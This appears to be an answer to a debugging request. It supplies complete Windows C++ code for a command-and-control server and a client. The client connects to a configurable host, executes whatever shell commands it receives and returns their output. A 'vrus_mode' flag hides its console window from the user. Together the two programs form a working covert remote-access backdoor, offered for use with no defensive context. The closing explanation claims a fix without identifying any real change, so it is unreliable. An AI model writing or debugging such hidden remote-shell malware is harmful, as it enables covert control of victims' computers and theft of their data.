The issue seems to be related to a misunderstanding in the way send and recv are interacting between the client and the server. The primary issue is how the client is processing the received command and sending the response back to the server. Specifically, there is a logic error in handling the command execution results on the client-side.
Here's a fixed version of both the client and the server code:
Server Code
#define _WINSOCK_DEPRECATED_NO_WARNINGS // Suppress deprecated functions warnings
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iostream>
#include <string>
// Link with the Ws2_32.lib library
#pragma comment(lib, "Ws2_32.lib")
const int DEFAULT_PORT = 8080;
int main() {
WSADATA wsaData;
// Initialize Winsock
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
std::cerr << "WSAStartup failed with error: " << iResult << std::endl;
return 1;
}
SOCKET ListenSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
struct addrinfo* result = NULL;
struct addrinfo hints;
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;
// Resolve the server address and port
iResult = getaddrinfo(NULL, std::to_string(DEFAULT_PORT).c_str(), &hints, &result);
if (iResult != 0) {
std::cerr << "getaddrinfo failed with error: " << iResult << std::endl;
WSACleanup();
return 1;
}
// Create a SOCKET to listen for incoming connections
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
if (ListenSocket == INVALID_SOCKET) {
std::cerr << "socket failed with error: " << WSAGetLastError() << std::endl;
freeaddrinfo(result);
WSACleanup();
return 1;
}
// Setup the TCP listening socket
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
if (iResult == SOCKET_ERROR) {
std::cerr << "bind failed with error: " << WSAGetLastError() << std::endl;
freeaddrinfo(result);
closesocket(ListenSocket);
WSACleanup();
return 1;
}
freeaddrinfo(result);
iResult = listen(ListenSocket, SOMAXCONN);
if (iResult == SOCKET_ERROR) {
std::cerr << "listen failed with error: " << WSAGetLastError() << std::endl;
closesocket(ListenSocket);
WSACleanup();
return 1;
}
// Accept a client socket
ClientSocket = accept(ListenSocket, NULL, NULL);
if (ClientSocket == INVALID_SOCKET) {
std::cerr << "accept failed with error: " << WSAGetLastError() << std::endl;
closesocket(ListenSocket);
WSACleanup();
return 1;
}
std::cout << "Client connected" << std::endl;
// No longer need server socket
closesocket(ListenSocket);
const int buf_len = 512;
char recvbuf[buf_len];
while (true) {
std::string message;
std::cout << "Enter message to send to client: ";
std::getline(std::cin, message);
// Exit condition
if (message == "exit") {
break;
}
// Send the message
iResult = send(ClientSocket, message.c_str(), message.length(), 0);
if (iResult == SOCKET_ERROR) {
std::cerr << "send failed with error: " << WSAGetLastError() << std::endl;
closesocket(ClientSocket);
WSACleanup();
return 1;
}
// Clear the result for the new response
std::string result;
// Receive results from client
int totalBytesReceived = 0;
int bytesReceived;
do {
bytesReceived = recv(ClientSocket, recvbuf, buf_len, 0);
if (bytesReceived > 0) {
totalBytesReceived += bytesReceived;
result.append(recvbuf, bytesReceived);
// Log received part
std::cout << "Bytes received: " << bytesReceived << std::endl;
}
else if (bytesReceived == 0) {
std::cout << "Connection closed by client." << std::endl;
break;
}
else {
std::cerr << "recv failed with error: " << WSAGetLastError() << std::endl;
closesocket(ClientSocket);
WSACleanup();
return 1;
}
} while (bytesReceived == buf_len); // Continue receiving while buffer is full
// Display full response
std::cout << "Client result : \n" << result << std::endl;
}
// Shutdown the connection since we’re done
iResult = shutdown(ClientSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
std::cerr << "shutdown failed with error: " << WSAGetLastError() << std::endl;
closesocket(ClientSocket);
WSACleanup();
return 1;
}
// Cleanup
closesocket(ClientSocket);
WSACleanup();
return 0;
}
Client Code
#define _WINSOCK_DEPRECATED_NO_WARNINGS // Suppress deprecated functions warnings
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iostream>
#include <string>
#include <array>
#include <windows.h>
// Link with the Ws2_32.lib library
#pragma comment(lib, "Ws2_32.lib")
// CONFIG //
const char* DEFAULT_IP = "127.0.0.1";
const int DEFAULT_PORT = 8080;
const bool vrus_mode = false;
////////////
// Function to execute a command and capture the output
std::string execCommand(const char* cmd) {
std::array<char, 128> buffer;
std::string result;
FILE* pipe = _popen(cmd, "r");
if (!pipe) {
return "popen failed!";
}
try {
while (fgets(buffer.data(), buffer.size(), pipe) != nullptr) {
result += buffer.data();
}
}
catch (...) {
_pclose(pipe);
return "Execution error!";
}
_pclose(pipe);
return result;
}
int main() {
if (vrus_mode) {
HWND hwnd = GetConsoleWindow();
ShowWindow(hwnd, 0);
}
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct sockaddr_in clientService;
// Initialize Winsock
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
if (!vrus_mode) std::cerr << "WSAStartup failed with error: " << iResult << std::endl;
return 1;
}
// Create a SOCKET for connecting to server
ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (ConnectSocket == INVALID_SOCKET) {
if (!vrus_mode) std::cerr << "socket failed with error: " << WSAGetLastError() << std::endl;
WSACleanup();
return 1;
}
// Setup the sockaddr_in structure with the server address and port
clientService.sin_family = AF_INET;
clientService.sin_port = htons(DEFAULT_PORT);
inet_pton(AF_INET, DEFAULT_IP, &clientService.sin_addr);
// Connect to server
iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService));
if (iResult == SOCKET_ERROR) {
if (!vrus_mode) std::cerr << "connect failed with error: " << WSAGetLastError() << std::endl;
closesocket(ConnectSocket);
WSACleanup();
return 1;
}
if (!vrus_mode) std::cout << "Connected to server." << std::endl;
const int sendbuflen = 512;
char recvbuf[sendbuflen];
int recvbuflen = sendbuflen;
std::string result;
std::string errstr = "не является внутренней или внешней командой, исполняемой программой или пакетным файлом.";
std::string failedstr = "Unknown command!";
while (true) {
// Clear the buffer before receiving new data
memset(recvbuf, 0, recvbuflen);
// Receive command from server
iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
std::string command(recvbuf, iResult);
if (!vrus_mode) std::cout << "Server command: " << command << std::endl;
// Execute the command
result = execCommand(command.c_str());
// Check for error in result
size_t err = result.find(errstr);
if (err != std::string::npos) {
result = failedstr; // If error found, send failed string
std::cout << "OoOoPs\n\n";
}
// Send the result back to the server
iResult = send(ConnectSocket, result.c_str(), result.length(), 0);
if (iResult == SOCKET_ERROR) {
std::cerr << "send failed with error: " << WSAGetLastError() << std::endl;
closesocket(ConnectSocket);
WSACleanup();
return 1;
}
}
else if (iResult == 0) {
if (!vrus_mode) std::cout << "Connection closed." << std::endl;
break;
}
else {
std::cerr << "recv failed with error: " << WSAGetLastError() << std::endl;
closesocket(ConnectSocket);
WSACleanup();
return 1;
}
}
// Cleanup
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
In the revised client code, the if (err != std::string::npos) condition inside the command execution handling is correctly checking if the error string is found in the result. If an error string is found, it sets the result to failedstr and correctly sends it back to the server.
Additionally, ensure that the server-side message processing loop sends commands and correctly consolidates the received data from the client. This will help in ensuring the correct interaction between the client and the server without any unexpected behavior or missing data.